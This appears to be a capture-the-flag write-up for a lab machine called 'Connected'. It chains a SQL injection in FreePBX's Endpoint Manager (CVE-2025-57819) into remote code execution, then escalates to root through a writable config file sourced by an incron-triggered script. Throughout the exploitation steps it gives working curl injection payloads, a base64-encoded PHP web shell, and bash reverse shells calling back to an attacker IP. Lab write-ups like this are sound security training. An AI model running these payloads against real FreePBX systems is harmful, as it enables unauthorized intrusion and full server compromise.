Connected

Summary of Exploitation

The Connected machine is a Linux-based target that emphasizes web application exploitation leading to RCE, followed by local system enumeration to escalate privileges. The entry point is an unauthenticated SQL injection vulnerability (CVE-2025-57819) within the FreePBX “Endpoint Manager” component. By injecting a malicious cron job entry into the database, remote code execution (RCE) is achieved as the asterisk user. Privilege escalation to root is accomplished by identifying a misconfigured incron (inotify cron) event. A writable configuration file (/etc/dahdi/init.conf) is sourced by a root-executed script, allowing for command injection and a full system compromise.

Recon Phase

The reconnaissance begins with an Nmap scan to identify active services:

nmap -T5 --open <target-ip>

Scan Results:

• Port 22/tcp: SSH
• Port 80/tcp: HTTP
• Port 443/tcp: HTTPS

Further service enumeration indicates the application uses a virtual host configuration, requiring the domain connected.htb to be added to the local /etc/hosts file:

echo "<target-ip> connected.htb" | sudo tee -a /etc/hosts

Web Enumeration

Navigating to [https://connected.htb](https://connected.htb) reveals a FreePBX 16.0.40.7 installation. Research into this version identifies CVE-2025-57819, an unauthenticated SQL injection vulnerability in the Endpoint Manager module.

Validation of the SQL injection is performed via the URL parameter:

curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x'+AND+EXTRACTVALUE(1,CONCAT('~USER:',(SELECT USER()),'~'))--+"

The response confirms database access as freepbxuser@localhost.

Exploitation Phase

Foothold

With confirmed SQL injection, we aim to achieve RCE by interacting with the database tables used for system scheduling (cron_jobs). We inject a new job that writes a PHP web shell to the web root:

curl -ik "https://connected.htb/admin/ajax.php?module=FreePBX\\modules\\endpoint\\ajax&command=model&template=x&model=model&brand=x';INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','wt-shell3','echo \"PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+Cg==\"|base64 -d >/var/www/html/wt-shell3.php',NULL,'* * * * *',30,1,1)-- "

After the cron task triggers, the web shell is accessible at https://connected.htb/wt-shell3.php.

Exploitation Script

To gain a persistent, interactive shell, we use the web shell to trigger a Bash reverse shell. First, start a listener on your machine:

nc -lvnp 4444

Then, trigger the reverse shell via the web shell:

curl -ik "https://connected.htb/wt-shell3.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/[YOUR_IP]/4444+0>%261'"

Priv-Esc to analyst

(Note: On this machine, the path proceeds directly from the asterisk user to root.)

Priv-Esc to Root

Local enumeration reveals an incron configuration monitoring a specific file for changes, which triggers a root-owned script:

cat /etc/incron.d/*
# Result: /var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart

Analysis of /usr/sbin/sysadmin_dahdi_restart shows that it sources the configuration file /etc/dahdi/init.conf. Since this file is writable by the current user, we can append a reverse shell payload:

echo 'bash -c "bash -i >& /dev/tcp/[YOUR_IP]/4445 0>&1" &' >> /etc/dahdi/init.conf

Start a new listener on port 4445, then trigger the monitored event to execute the payload as root:

echo "restart" > /var/spool/asterisk/sysadmin/dahdi_restart

Root flag successfully obtained.

Once the listener catches the incoming connection, verify the root identity:

id
# uid=0(root) gid=0(root) groups=0(root)

cat /root/root.txt

The root flag is successfully retrieved, confirming full control of the machine.